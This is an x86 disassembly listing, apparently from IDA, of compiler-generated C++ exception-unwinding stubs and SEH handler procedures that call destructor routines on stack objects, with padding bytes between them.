; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================



SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================



SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================



SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_4367C8
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43828B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438296:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_4367C8
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_438530:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43854E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43854E:				; CODE XREF: ___:00438540j
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_4367C8
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438570:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438594
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438594:				; CODE XREF: ___:00438586j
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_4367C8
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385BB:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385C6:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_4367C8
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_4367C8
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_4367C8
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438638:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_4367C8
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43865B:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2FCh]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_4367C8
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)
		dd 0E9C84D8Dh, 75C56A4Dh
		db 67h

; =============== S U B	R O U T	I N E =======================================



SEH_409580	proc near		; DATA XREF: sub_409580+2o
		mov	eax, offset dword_43F098
		jmp	sub_4367C8
SEH_409580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_40A290	proc near		; DATA XREF: sub_40A290+2o
		mov	eax, offset dword_43F0C8
		jmp	sub_4367C8
SEH_40A290	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438A86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438A86:				; CODE XREF: ___:00438A78j
		retn
; ---------------------------------------------------------------------------


loc_438A87:				; DATA XREF: ___:0043F124o
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_40A430	proc near		; DATA XREF: sub_40A430+2o
		mov	eax, offset dword_43F0F8
		jmp	sub_4367C8
SEH_40A430	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0E9C84D8Dh, 75C569CDh
		db 0BDh
; ---------------------------------------------------------------------------


loc_438AB9:				; DATA XREF: ___:0040A952o
		mov	eax, offset dword_43F138
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h

